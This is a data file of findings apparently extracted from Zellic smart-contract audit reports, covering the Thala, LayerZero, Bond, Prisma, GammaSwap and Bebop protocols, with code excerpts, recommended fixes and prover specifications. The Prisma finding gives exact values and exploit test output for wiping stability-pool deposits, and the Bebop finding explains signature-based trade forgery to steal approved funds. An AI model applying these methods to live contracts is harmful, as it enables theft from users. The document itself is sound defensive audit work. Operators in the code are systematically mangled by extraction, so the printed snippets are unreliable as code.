vaults in the system requires a separate review of architectural changes. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.17 Missing assertion checks for oracle initialization", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: Low Severity: Low : Low There are no checks in place to enforce that oracle:)set_price has been called for a given CoinType prior to calling vault:)initialize: public entry fun initialize(manager: &signer) { assert!(signer:)address_of(manager) =) @thala_protocol_v1, ERR_INVALID_MANAGER); assert!(manager:)initialized(), ERR_UNINITIALIZED_MANAGER); assert!(!exists)(@thala_protocol_v1), ERR_INITIALIZED_COLLATERAL); stability_pool:)register_collateral(manager); sorted_vaults:)initialize(manager); move_to(manager, CollateralState { total_collateral: 0, total_debt: 0, }); } If the PriceStore has not been initialized via a call to oracle:)set_price, calls to vault functions will fail with unclear error messages. Force the oracle to be set up prior to allowing calls to vault:)initialize by including the following assertion check: public entry fun initialize(manager: &signer) { assert!(signer:)address_of(manager) =) @thala_protocol_v1, ERR_INVALID_MANAGER); assert!(manager:)initialized(), ERR_UNINITIALIZED_MANAGER); Zellic Thala Labs assert!(!exists)(@thala_protocol_v1), ERR_INITIALIZED_COLLATERAL); assert!(!exists)(@thala_protocol_v1), ERR_UNINITIALIZED_PRICESTORE); stability_pool:)register_collateral(manager); sorted_vaults:)initialize(manager); move_to(manager, CollateralState { total_collateral: 0, total_debt: 0, }); } Thala Labs added checks in commit 853c1f03 to ensure that the oracle is initialized be- fore vault initialization. However, verifying that these checks are secure would require a separate review of extensive changes to both the oracle and the new initialization sequence. Zellic Thala Labs 4 Formal Verification The Move language is developed alongside the Move specification language, which allows for formal specifications to be written and verified by the Move prover. The project did not include any such specifications, so we provided Thala Labs with some ourselves. Writing specifications against this project has a number of obstacles. First, the depen- dencies were fairly out of date, which presented problems for verification. Specifi- cally, the version of the Aptos framework used was incompatible with the current state of the prover, so running the tool required an upgrade. Additionally, the U256 module uses bitwise operators, which are unsupported by the Move prover. In older versions, this module would prevent the prover from being run at all; it now includes specifications that mark problematic functions as opaque. This issue with bitwise operators presented another challenge. The source of this protocol also utilized bitwise operators in a number of places. For instance, ///)) returns a to the power of b. public fun exp(a: u64, b: u8): u64 { let c = 1; while (b > 0) { if (b & 1 > 0) c = c * a; b = b >) 1; a = a * a; }; c } We recommend that Thala Labs use the modulo operator over & 1 in this and other instances. Finally, the state of the prover and the Aptos framework are not quite robust; they are not without bugs. In order to let the prover run on stability_pool.move, it is nec- essary to make minor changes to framework specifications. Additionally, the prover will not work on vault.move or sorted_vaults.move at all, as it consumes far too much memory. Despite these challenges, the prover still presents a powerful way to verify the be- havior of certain functions. The following is a sample of some specifications we have Zellic Thala Labs provided; we strongly recommend that the Thala Labs team add more as well. 4.1 thala_protocol_v1:)apd_coin This module is fairly simple. Here is a basic specification that checks the behavior of mint: spec mint { ///)) Only aborts if uninitialized. aborts_if !has_capabilities(); ///)) Minted value must equal amount. ensures result.value =) amount; } For this module, we provided specifications for all functions: initialization, mint, burn, and initialized.", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "4.2 thala_protocol_v1:)oracle The oracle module is also straightforward to prove. We can show that each of its functions performs necessary checks and changes prices correctly. spec fun has_store(): bool { exists)(@thala_protocol_v1) } spec fun get_store(): PriceStore { global)(@thala_protocol_v1) } spec set_price { ///)) Can only be called by @thala_protocol_v1. aborts_if signer:)address_of(oracle_manager) !) @thala_protocol_v1; ///)) Even if the resource did not exist before, it should exist after. ensures has_store(); ///)) Prices should be properly set. Zellic Thala Labs ensures get_store().numerator =) numerator; ensures get_store().denominator =) denominator; } spec price_of { ///)) Should abort if and only if the resource does not exist. aborts_if !has_store(); ///)) Returned prices should reflect stored values. ensures result_1 =) get_store().numerator; ensures result_2 =) get_store().denominator;", + "labels": [ + "Zellic" + ], + "body": "4.2 thala_protocol_v1:)oracle The oracle module is also straightforward to prove. We can show that each of its functions performs necessary checks and changes prices correctly. spec fun has_store(): bool { exists)(@thala_protocol_v1) } spec fun get_store(): PriceStore { global)(@thala_protocol_v1) } spec set_price { ///)) Can only be called by @thala_protocol_v1. aborts_if signer:)address_of(oracle_manager) !) @thala_protocol_v1; ///)) Even if the resource did not exist before, it should exist after. ensures has_store(); ///)) Prices should be properly set. Zellic Thala Labs ensures get_store().numerator =) numerator; ensures get_store().denominator =) denominator; } spec price_of { ///)) Should abort if and only if the resource does not exist. aborts_if !has_store(); ///)) Returned prices should reflect stored values. ensures result_1 =) get_store().numerator; ensures result_2 =) get_store().denominator; }", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "4.3 thala_protocol_v1:)params This module is similar to thala_protocol_v1:)oracle. Here is what one of the function specifications looks like: spec set_params { ///)) Only be called by @thala_protocol_v1 can set params. aborts_if signer:)address_of(manager) !) @thala_protocol_v1; ///)) Param store should be created if it did not exist. ensures has_store(); ///)) Parameters should be properly set. ensures get_store().mcr_numerator =) mcr_numerator; ensures get_store().mcr_denominator =) mcr_denominator; ensures get_store().redeem_fee_numerator =) redeem_fee_numerator; ensures get_store().redeem_fee_denominator =) redeem_fee_denominator; } The others are also closely analogous to those in the oracle module. Zellic Thala Lab", + "labels": [ + "Zellic" + ], + "body": "4.3 thala_protocol_v1:)params This module is similar to thala_protocol_v1:)oracle. Here is what one of the function specifications looks like: spec set_params { ///)) Only be called by @thala_protocol_v1 can set params. aborts_if signer:)address_of(manager) !) @thala_protocol_v1; ///)) Param store should be created if it did not exist. ensures has_store(); ///)) Parameters should be properly set. ensures get_store().mcr_numerator =) mcr_numerator; ensures get_store().mcr_denominator =) mcr_denominator; ensures get_store().redeem_fee_numerator =) redeem_fee_numerator; ensures get_store().redeem_fee_denominator =) redeem_fee_denominator; } The others are also closely analogous to those in the oracle module. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The sendOFT function call can be blocked", + "labels": [ + "Zellic" + ], + "body": "Target: OFTWrapper Category: Coding Mistakes Likelihood: Low Severity: Low : Low The contract owner can set any bps value of the variables defaultBps and the oftBps [_oft] in the range from 0 to the maximum BPS_DENOMINATOR inclusive. But during the sendOFT function call, the getAmountAndFees function will check that the final bps value is less than BPS_DENOMINATOR and revert the transaction if it equals or more. function getAmountAndFees( address _oft, uint256 _amount, uint256 _callerBps ) public view override returns ( uint256 amount, uint256 wrapperFee, uint256 callerFee ) { uint256 wrapperBps; if (oftBps[_oft] == MAX_UINT) { wrapperBps = 0; } else if (oftBps[_oft] > 0) { wrapperBps = oftBps[_oft]; } else { wrapperBps = defaultBps; } require(wrapperBps + _callerBps < BPS_DENOMINATOR, \u201cOFTWrapper: Fee bps exceeds 100%\u201d); Zellic LayerZero ...)) } In case if the contract owner sets the defaultBps to the maximum BPS_DENOMINATOR value, the sendOFT function call will be blocked for all unassigned _oft addresses. \ufffflso if the maximum oftBps value is set for a specific _oft address, the sendOFT function call with this _oft address will be reverted. Set a limit for the defaultBps and oftBps[_oft] values strictly less than the BPS_DENOM INATOR value. This issue was fixed by LayerZero in commit f11289a5. Zellic LayerZero 4 Audit Results At the time of our audit, the code was not deployed to mainnet evm. During our audit, we discovered 1 low risk findings. LayerZero acknowledged this finding and implemented fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero OFT Wrapper Audit (January 19th 2023) - Zellic Audit Report.pdf" + }, + { + "title": "3.2 The bond expiry_ can be in the past", + "labels": [ + "Zellic" + ], + "body": "Target: BondFixedTermTeller, BondFixedExpiryTeller Category: Business Logic Likelihood: Medium Severity: Medium : Medium There are two functions, namely create() and deploy(), available in both the FixedT erm and FixedExpiry tellers, which do not check whether the expiry_ has passed the current block.timestamp or not. In the case of the deploy function, this implies that a bond token can be created for a past block.timestamp, which could jeopardize the concept of bond tokens and their expiry. function deploy(ERC20 underlying_, uint48 expiry_) external override nonReentrant returns (uint256) { uint256 tokenId = getTokenId(underlying_, expiry_); /) @audit make sure that expiry_ is in the future. /) Only creates token if it does not exist if (!tokenMetadata[tokenId].active) { _deploy(tokenId, underlying_, expiry_); } return tokenId; } For the create function, however, it implies that bondTokens would be issue for an already vested bond position. In both of the aformentioned cases, having the expiry_ in the past could potentially lead to bad user experience as well as undesired results in terms of bond issuance and redemption. We recommend implementing checks that would block the issuance or deployment of bondTokens that have an expiry in the past. Zellic Bond Labs require(expiry_ > block.timestamp, \u201cerror: expiry is in the past\u201d); Bond Labs acknowledged this finding and implemented a fix in commits 4eb523da and 453d02e0. Zellic Bond Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Bond Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Array indexes may be out of bounds", + "labels": [ + "Zellic" + ], + "body": "Target: BondFixedTermTeller Category: Business Logic Likelihood: Informational Severity: Informational : Informational In the batchRedeem function, two arrays are passed as parameters to the function. The two arrays, tokenIds and amounts_, are then accessed in one for loop for the same indices, without prior checking that their lengths are equal. function batchRedeem(uint256[] calldata tokenIds_, uint256[] calldata amounts_) external override nonReentrant { uint256 len = tokenIds_.length; /) @audit make sure that ther lengths are equal for (uint256 i; i < len; +)i) { _redeem(tokenIds_[i], amounts_[i]); } } Should there be a scenario when the lengths mismatch, the out-of-bounds error would trigger the function call to revert altogether at the last index, thus wasting the gas used for the transaction. We recommend implementing a check such that the length of the arrays is properly checked before the for loop. require(tokenIds.length =) amounts_.length, \u201carrays' lengths mismatch\u201d); Bond Labs acknowledged this finding and implemented a fix in commit 436d18ec. Zellic Bond Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Bond Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Removal from callbackAuthorized is not conclusive", + "labels": [ + "Zellic" + ], + "body": "Target: BondBaseSDA Category: Business Logic Likelihood: Medium Severity: Medium : Medium The callbackAuthorized mapping dictates which msg.sender is allowed to perform ca llbacks on a specific market, and it is set via the setCallbackAuthStatus function. The status of this authorization is only checked when the market is created, despite the fact that the msg.sender can lose their rights to perform callbacks in the meanwhile, should the owner decide so. Currently, there are no checks whatsoever, in any of the accompanying contracts, for whether the msg.sender is allowed to perform callbacks on a market. function _createMarket(MarketParams memory params_) internal returns (uint256) { { /) Check that the auctioneer is allowing new markets to be created if (!allowNewMarkets) revert Auctioneer_NewMarketsNotAllowed(); /) Ensure params are in bounds uint8 payoutTokenDecimals = params_.payoutToken.decimals(); uint8 quoteTokenDecimals = params_.quoteToken.decimals(); if (payoutTokenDecimals < 6 |) payoutTokenDecimals > 18) revert Auctioneer_InvalidParams(); if (quoteTokenDecimals < 6 |) quoteTokenDecimals > 18) revert Auctioneer_InvalidParams(); if (params_.scaleAdjustment < -24 |) params_.scaleAdjustment > 24) revert Auctioneer_InvalidParams(); /) Restrict the use of a callback address unless allowed if (!callbackAuthorized[msg.sender] &) params_.callbackAddr !) address(0)) revert Auctioneer_NotAuthorized(); } /) ...)) } Zellic Bond Labs Allowing previously whitelisted msg.sender to perform callbacks may result in unde- sired actions on behalf of the market it previously represented, potentially leading to financial losses. We recommend assuring that once a user has been unwhitelisted, they can no longer perform actions on behalf of the market they originally represented. Bond Labs acknowledged this finding and implemented a fix in commit 00ddf327. Zellic Bond Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Bond Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Data desynchronization", + "labels": [ + "Zellic" + ], + "body": "Target: BondBaseCallback, BondBaseTeller Category: Business Logic Likelihood: Low Severity: Low : Low When creating a market, the user can set the address of the callback contract that will process transfers of the owner\u2019s tokens. To do this, the user should be whitelisted, but deploying the callback contract is not under control by project contract. Therefore, it is not guaranteed that the user will specify the same address of _aggregator contract as the BondBaseTeller contract. As a result, there may be a desynchronization of the market data used to process the token transfer. As a result of a user error, the market may be unusable since it is impossible to edit the corresponding market settings after creation. For the expected operation of the BondBaseCallback contract independent of user actions, we recommend directly passing the payoutToken and quoteToken token ad- dresses to the callback function. Bond Labs acknowledged this finding and implemented a fix in commit 252f64d8. Zellic Bond Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Bond Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.1 High-fraction liquidations can cause the product P to be- come 0", + "labels": [ + "Zellic" + ], + "body": "Target: StabilityPool Category: Business Logic Likelihood: High Severity: Critical : Critical During liquidations, each depositor is rewarded with the collateral and some amount of DebtTokens are burned from their deposits. As it would be impossible to update each user\u2019s balance during liquidation, the protocol uses a global running product P and sum S to derive the compounded DebtToken deposit and corresponding collateral gain as a function of the initial deposit. Refer to the Appendix 7.1 for a list of terms and the derivation of P. Continuous high-fraction liquidations can cause the value of the global-running prod- uct P to become 0, leading to potential disruptions in withdrawals and reward claims from the stability pool. The function _updateRewardSumAndProduct is responsible for updating the value of P when it falls below 1e9 by multiplying it by 1e9. However, certain liquidation scenarios can update P in a way that multiplying it by 1e9 is insufficient to bring its value above 1e9. Refer to the Appendix 7.2 for the exploit of the vulnerability. Following is the output of the exploit: Running 1 test for test/Exploit.t.sol:Exploit [PASS] testPto0Exploit() (gas: 2053310) Logs: Value of P after first liquidation 1000000000 Value of P after second liquidation 2 Value of P after third liquidation 0 Alice's deposits in stability pool before the withdrawal Alice's balance of debttoken before the withdrawal Zellic Prisma Finance Alice's deposits in stability pool after the withdrawal 0 Alice's balance of debttoken after the withdrawal Alice's deposits are now erased from the pool without being returned First thing to note is that if newProductFactor is 1, then multiplying by 1e9 is not enough to bring P back to the correct scale. The value of newProductFactor can be set to 1 by making _debtLossPerUnitStaked equal to 1e18 - 1. This requires calculating the _debtToOffset value to pass to the offset function such that _debtLossPerUnitStaked is 1e18 - 1. The calculations for this are as follows: _debtLossPerUnitStaked = ( _debtToOffset * 1e18 / _totalDebtTokenDeposits ) + 1 1e18 - 1 = ( _debtToOffset * 1e18 / _totalDebtTokenDeposits ) + 1 /) (We need _debtLossPerUnitStaked to be 1e18 - 1) 1e18 - 2 = ( _debtToOffset * 1e18 / _totalDebtTokenDeposits ) Fixing _totalDebtTokenDeposits to 10000 * 1e18 _debtToOffset = 10000e18 * (1e18 - 2) / 1e18 _debtToOffset = 9999999999999999980000 Performing a liquidation with _debtToOffset as 9999999999999999980000 can bring newP from 1e18 to 1e9 in one liquidation, assuming currentP is 1e18, due to the calculation in _updateRewardSumAndProduct: newP = (currentP * newProductFactor * 1e9) / 1e18; (we already know newProductFactor is 1 ) Now, by creating three troves with the required debt amount, each having _debtToOff set as 9999999999999999980000, and subsequently liquidating them while maintaining the deposits in the stability pool at exactly 10,000 * 1e18, P becomes 0. Consequently, users may face difficulties withdrawing from the stability pool. As _debtToOffset is the compositeDebt of the trove (the requested debt amount + debt borrowing fee + debt gas comp), we need to solve the following equation to calculate the _debtAmount needed to open such trove: x + (x * 5000000000000000 / (1e18) ) + (200 * (1e18)) = 9999999999999999980000 Zellic Prisma Finance Here x comes out to be x = 9751243781094527343284. Using this _debtAmount, an attacker may open three troves, and when the ICR < MCR, they can liquidate the troves while maintaining the deposits in the SP to be exactly 10,000 * 1e18. After three liquidations, the value of P becomes 0. Due to this, the function getCompoundedDebtDeposit will return 0 for all the depositors, and thus users would not be able to make any withdrawals from the stability pool. Withdrawals and claimable rewards for any new deposits will fail as P_Snapshot stored for these deposits would be 0. Add an assertion as shown below in _updateRewardSumAndProduct so that such high- fraction liquidations would be reverted. assert(newP > 0); P = newP; emit P_Updated(newP); This issue has been acknowledged by Prisma Finance, and a fix was implemented in commit ecc58eb7. Zellic Prisma Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Prisma Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Incorrect return value in claimableRewardAfterBoost", + "labels": [ + "Zellic" + ], + "body": "Target: PrismaTreasury Category: Coding Mistakes Likelihood: Medium Severity: Informational : Informational There are two issues in the return value of the function claimableRewardAfterBoost: function claimableRewardAfterBoost( address account, address boostDelegate, IRewards rewardContract ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate) { uint256 amount = rewardContract.claimableReward(account); uint256 week = getWeek(); uint256 totalWeekly = weeklyEmissions[week]; address claimant = boostDelegate =) address(0) ? account : boostDelegate; uint256 previousAmount = accountWeeklyEarned[claimant][week]; uint256 fee; if (boostDelegate !) address(0)) { Delegation memory data = boostDelegation[boostDelegate]; if (!data.isEnabled) return (0, 0); fee = data.feePct; if (fee =) type(uint16).max) { try data.callback.getFeePct(claimant, amount, previousAmount, totalWeekly) returns (uint256) {} catch { return (0, 0); } } if (fee >) 10000) return (0, 0); } adjustedAmount = boostCalculator.getBoostedAmount(claimant, amount, previousAmount, totalWeekly); fee = (adjustedAmount * fee) / 10000; return (adjustedAmount, fee); } Zellic Prisma Finance 1. According to the comments of the claimableRewardAfterBoost function, the re- turned value adjustedAmount is the amount received after boost and delegate fees. But fee is not deducted from the adjustedAmount before this value is re- turned. 2. As a fee equaling 10,000 is acceptable by the contract, the function should not return (0,0) when the fee is equal to 10,000. Incorrect values will be reported to the users. Consider implementing the following changes. if (fee >) 10000) return (0, 0); if (fee > 10000) return (0, 0); } adjustedAmount = boostCalculator.getBoostedAmount(claimant, amount, previousAmount, totalWeekly); fee = (adjustedAmount * fee) / 10000; adjustedAmount -= fee; return (adjustedAmount, fee); This issue has been acknowledged by Prisma Finance, and a fix was implemented in commits fb6391a8 and ca3bcf51. Zellic Prisma Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Prisma Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Unhandled return value of collateral transfer", + "labels": [ + "Zellic" + ], + "body": "Target: TroveManager, StabilityPool, BorrowerOperations Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational Certain tokens, such as USDT, do not correctly implement the EIP-20 standard. Their t ransfer and transferFrom functions return void instead of a successful boolean. Con- sequently, calling these functions with the expected EIP-20 function signatures will always result in a revert. The documentation states that only the listed collateral tokens are supported. How- ever, if the protocol were to later support these nonstandard tokens, it could lead to issues with certain function calls that rely on transfer/transferFrom returning a boolean value. Nonstandard collateral tokens might not work as intended. Consider using OpenZeppelin\u2019s safeTransferFrom()/safeTransfer() method instead of transferFrom()/transfer(). This will ensure that the transfers are handled safely and prevent any unexpected reverts related to nonstandard tokens. This issue has been acknowledged by Prisma Finance, and a fix was implemented in commit 039cc86a. Zellic Prisma Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Prisma Finance - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: ExternalLiquidationStrategy.sol Function: _liquidateExternally(uint256 tokenId, uint128[] amounts, uint 256 lpTokens, address to, byte[] data) Allows any caller to liquidate the existing loan using a flash loan of collateral tokens from the pool and/or CFMM LP tokens. Before the liquidation, the externalSwap func- tion will be called. After that, a check will be made that enough tokens have been deposited. Allows only full liquidation of the loan. Inputs", + "labels": [ + "Zellic" + ], + "body": "tokenId \u2013 Validation: There is no verification that the corresponding _loan for this tokenId exists. \u2013 : A tokenId referring to an existing _loan. Not necessary msg.sender is owner of _loan, so the caller can choose any existing loan. amounts \u2013 Validation: There is a check that amount <= s.TOKEN_BALANCE inside externa lSwap->sendAndCalcCollateralLPTokens->sendToken function. \u2013 : Amount of tokens from the pool to flash loan. lpTokens \u2013 Validation: There is a check that lpTokens <= s.LP_TOKEN_BALANCE inside ex ternalSwap->sendCFMMLPTokens->sendToken function \u2013 : Amount of CFMM LP tokens being flash loaned. to \u2013 Validation: Cannot be zero address. \u2013 : Address that will receive the collateral tokens and/or lpTokens in flash loan. Zellic GammaSwap data \u2013 Validation: No checks. \u2013 : Custom user data. It is passed to the externalCall. Branches and code coverage (including function calls) The part of _liquidateExternally tests are skipped. Intended branches \u25a1 Check that loan was fully liquidated Negative behavior 4\u25a1 _loan for tokenId does not exist. \u25a1 Balance of contract not enough to transfer amounts. \u25a1 Balance of contract not enough to transfer lpTokens. \u25a1 Zero to address. 4\u25a1 After externalCall the s.cfmm balance of contract has not returned to the pre- vious value. \u25a1 After externalCall the balance of contract for each tokens has not returned to the previous value. Function call analysis externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendAndCalcCo llateralLPTokens(to, amounts, lastCFMMTotalSupply) -> sendToken(IERC20(to kens[i]), to, amounts[i], s.TOKEN_BALANCE[i], type(uint128).max) -> Gamma SwapLibrary.safeTransfer(token, to, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s.TO KEN_BALANCE[i], but they must return the same or a larger amount after the externalCall function call; it will be checked inside the updateCollateral function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendCFMMLPTok ens(_cfmm, to, lpTokens) -> sendToken(IERC20(_cfmm), to, lpTokens, s.LP_T OKEN_BALANCE, type(uint256).max) -> GammaSwapLibrary.safeTransfer(token, t o, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s. LP_TOKEN_BALANCE, but they must return the same or a larger amount after Zellic GammaSwap the externalCall function call; it will be checked inside the payLoanAndRef undLiquidator function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> IExternalCall ee(to).externalCall(msg.sender, amounts, lpTokens, data); \u2013 External/Internal? External. \u2013 Argument control? msg.sender, amounts, lpTokens, and data. \u2013 : The reentrancy is not possible because the other important exter- nal functions have lock. If caller does not return enough amount of tokens, the transaction will be reverted. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> updateCollate ral(_loan) -> GammaSwapLibrary.balanceOf(IERC20(tokens[i]), address(this) ); -> address(_token).staticcall(abi.encodeWithSelector(_token.balanceOf. selector, _address)) \u2013 : Return the current token balance of this contract. This balance will be compared with the last tokenBalance[i] value; if the balance was in- creased, the _loan.tokensHeld and s.TOKEN_BALANCE will be increased too. But if the balance was decreased, the withdrawn value will be checked that it is no more than tokensHeld[i] (available collateral) and the _loan.t okensHeld and s.TOKEN_BALANCE will be increased. payLoanAndRefundLiquidator(tokenId, tokensHeld, loanLiquidity, 0, true) - > GammaSwapLibrary.safeTransfer(IERC20(s.cfmm), msg.sender, lpRefund); \u2013 External/Internal? External. \u2013 Argument control? No. \u2013 : The user should not control the lpRefund value. Transfer the re- maining part of CFMMLPTokens.", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: ExternalLongStrategy.sol Function: _rebalanceExternally(uint256 tokenId, uint128[] amounts, uint 256 lpTokens, address to, byte[] data) Allows the loan\u2019s creator to use a flash loan and also rebalance a loan\u2019s collateral. Inputs", + "labels": [ + "Zellic" + ], + "body": "tokenId \u2013 Validation: There is a check inside the _getLoan function that msg.sender is creator of loan. \u2013 : A tokenId refers to an existing _loan, which will be rebalancing. amounts Zellic GammaSwap \u2013 Validation: There is a check that amount <= s.TOKEN_BALANCE inside externa lSwap->sendAndCalcCollateralLPTokens->sendToken function. \u2013 : Amount of tokens from the pool to flash loan. lpTokens \u2013 Validation: There is a check that lpTokens <= s.LP_TOKEN_BALANCE inside ex ternalSwap->sendCFMMLPTokens->sendToken function. \u2013 : Amount of CFMM LP tokens being flash loaned. to \u2013 Validation: Cannot be zero address. \u2013 : Address that will receive the collateral tokens and/or lpTokens in flash loan. data \u2013 Validation: No checks. \u2013 : Custom user data. It is passed to the externalCall. Branches and code coverage (including function calls) Intended branches 4\u25a1 lpTokens !) 0. \u25a1 amounts is not empty. 4\u25a1 amounts is not empty and lpTokens !) 0. 4\u25a1 Withdraw one of the tokens by no more than the available number of tokens. 4\u25a1 Withdraw both tokens by no more than the available number of tokens. 4\u25a1 Deposit one of the tokens. 4\u25a1 Deposit both tokens. 4\u25a1 Deposit one token and withdraw another. Negative behavior 4\u25a1 _loan for tokenId does not exist. \u25a1 msg.sender is not creator of the _loan. \u25a1 Balance of contract is not enough to transfer amounts. \u25a1 Balance of contract is not enough to transfer lpTokens. \u25a1 Zero to address. \u25a1 After externalCall, the s.cfmm balance of the contract has not returned to the previous value. \u25a1 After externalCall, the balance of the contract for each tokens has not returned to the previous value. \u25a1 After externalCall, the balance of the contract for one of tokens has not re- turned to the previous value. Zellic GammaSwap 4\u25a1 Withdraw one of the tokens, and loan is undercollateralized after externalCall. 4\u25a1 Withdraw both tokens, and loan is undercollateralized after externalCall. 4\u25a1 Withdraw one of the tokens and deposit another, and loan is undercollateralized after externalCall. \u25a1 The amounts and tokenId are zero. Function call analysis externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendAndCalcCo llateralLPTokens(to, amounts, lastCFMMTotalSupply) -> sendToken(IERC20(to kens[i]), to, amounts[i], s.TOKEN_BALANCE[i], type(uint128).max) -> Gamma SwapLibrary.safeTransfer(token, to, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s.TO KEN_BALANCE[i], but they must return the same or a larger amount after the externalCall function call; it will be checked inside the updateCollateral function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> sendCFMMLPTok ens(_cfmm, to, lpTokens) -> sendToken(IERC20(_cfmm), to, lpTokens, s.LP_T OKEN_BALANCE, type(uint256).max) -> GammaSwapLibrary.safeTransfer(token, t o, amount) \u2013 External/Internal? External. \u2013 Argument control? to and amount. \u2013 : The caller can transfer any number of tokens that is less than s. LP_TOKEN_BALANCE, but they must return the same or a larger amount after the externalCall function call; it will be checked inside the checkLPTokens function. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> IExternalCall ee(to).externalCall(msg.sender, amounts, lpTokens, data); \u2013 External/Internal? External. \u2013 Argument control? msg.sender, amounts, lpTokens, and data. \u2013 : The reentrancy is not possible because the other important exter- nal functions have lock. If caller does not return enough amount of tokens, the transaction will be reverted. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> updateCollate ral(_loan) -> GammaSwapLibrary.balanceOf(IERC20(tokens[i]), address(this) ); -> address(_token).staticcall(abi.encodeWithSelector(_token.balanceOf. selector, _address)) \u2013 External/Internal? External. Zellic GammaSwap \u2013 Argument control? No. \u2013 : Return the current token balance of this contract. This balance will be compared with the last tokenBalance[i] value; if the balance was in- creased, the _loan.tokensHeld and s.TOKEN_BALANCE will be increased too. But if the balance was decreased, the withdrawn value will be checked that it is no more than tokensHeld[i] (available collateral) and the _loan.t okensHeld and s.TOKEN_BALANCE will be increased. externalSwap(_loan, s.cfmm, amounts, lpTokens, to, data) -> checkLPTokens (_cfmm, prevLpTokenBalance, lastCFMMInvariant, lastCFMMTotalSupply) -> Ga mmaSwapLibrary.balanceOf(IERC20(_cfmm), address(this)) \u2013 External/Internal? External. \u2013 Argument control? No. \u2013 : Return the current _cfmm balance of this contract. This new balance will be compared with the balance before the externalCall function call, and if new value is less, the transaction will be reverted. Also, update the s.LP_TOKEN_BALANCE and s.LP_INVARIANT. Zellic GammaSwap 5 Audit Results At the time of our audit, the code was not deployed to mainnet EVM. During our audit, we discovered one finding that was informational in nature. Gam- maSwap acknowledged the finding and implemented a fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/GammaSwap - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Arbitrary trade forgery", + "labels": [ + "Zellic" + ], + "body": "Target: bebop_aggregation_contract Category: Business Logic Likelihood: High Severity: Critical : Critical A malicious user can forge an arbitrary trade including any trader. function validateMakerSignature( address maker_address, bytes32 hash, Signature memory signature ) public view override{ ...)) } else if (signature.signatureType =) SignatureType.EIP1271) { require(IERC1271(signature.walletAddress).isValidSignature(hash, signature.signatureBytes) =) EIP1271_MAGICVALUE, \u201cInvalid Maker EIP 1271 Signature\u201d); ...)) } This is caused by the user-supplied maker signatures, which can be set to EIP1271 sig- natures, verified against a user-supplied wallet address that has to return a valid value. However, there is nothing that binds the maker addresses to the wallet addresses. As a result, a user can supply an arbitrary maker address and a wallet address that will always return the correct value to pass signature checks. A malicious user can forge extremely unbalanced one-sided trades to steal funds from any user (market maker or taker) that has approval to the Bebop contract. Bind the wallet address to the maker address or use the maker address as the wallet address. Zellic Bebop The issue has been fixed in commit ce63364f. Zellic Bebop", + "html_url": "https://github.com/Zellic/publications/blob/master/Bebop - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Any order can be blocked permanently", + "labels": [ + "Zellic" + ], + "body": "Target: bebop_aggregation_contract Category: Business Logic Likelihood: Medium Severity: Medium : Medium /) Construct partial orders from aggregated orders function assertAndInvalidateAggregateOrder( AggregateOrder memory order, bytes memory takerSig, Signature[] memory makerSigs ) public override returns (bytes32) { The public function assertAndInvalidateAggregateOrder checks the validity of an or- der, but in doing so it also sets the nonce of that order. This function should be called by SettleAggregateOrder after which the trade is executed. If called alone, it will set the nonce of that specific trade, and as a result, that order cannot be used since the nonce will be set. A user can block any person\u2019s call to SettleAggregateOrder by calling assertAndInval idateAggregateOrder first. Change the visibility of assertAndInvalidateAggregateOrder to internal. The issue has been fixed in commit fa724361. Zellic Bebop", + "html_url": "https://github.com/Zellic/publications/blob/master/Bebop - Zellic Audit Report.pdf" + }, + { + "title": "3.3 A nonce of 0 can result in signature replay attacks", + "labels": [ + "Zellic" + ], + "body": "Target: bebop_aggregation_contract Category: Business Logic Likelihood: Low Severity: Low : Low The function invalidateOrder is responsible for checking and setting nonces in a gas- efficient manner; it does so by checking a certain slot, and if the slot is not 0, the nonce has been used. function invalidateOrder(address maker, uint256 nonce) private { uint256 invalidatorSlot = uint64(nonce) >) 8; uint256 invalidatorBit = 1 <) uint8(nonce); mapping(uint256 => uint256) storage invalidatorStorage = maker_validator[maker]; uint256 invalidator = invalidatorStorage[invalidatorSlot]; require(invalidator & invalidatorBit =) 0, \u201cInvalid maker order (nonce)\u201d); 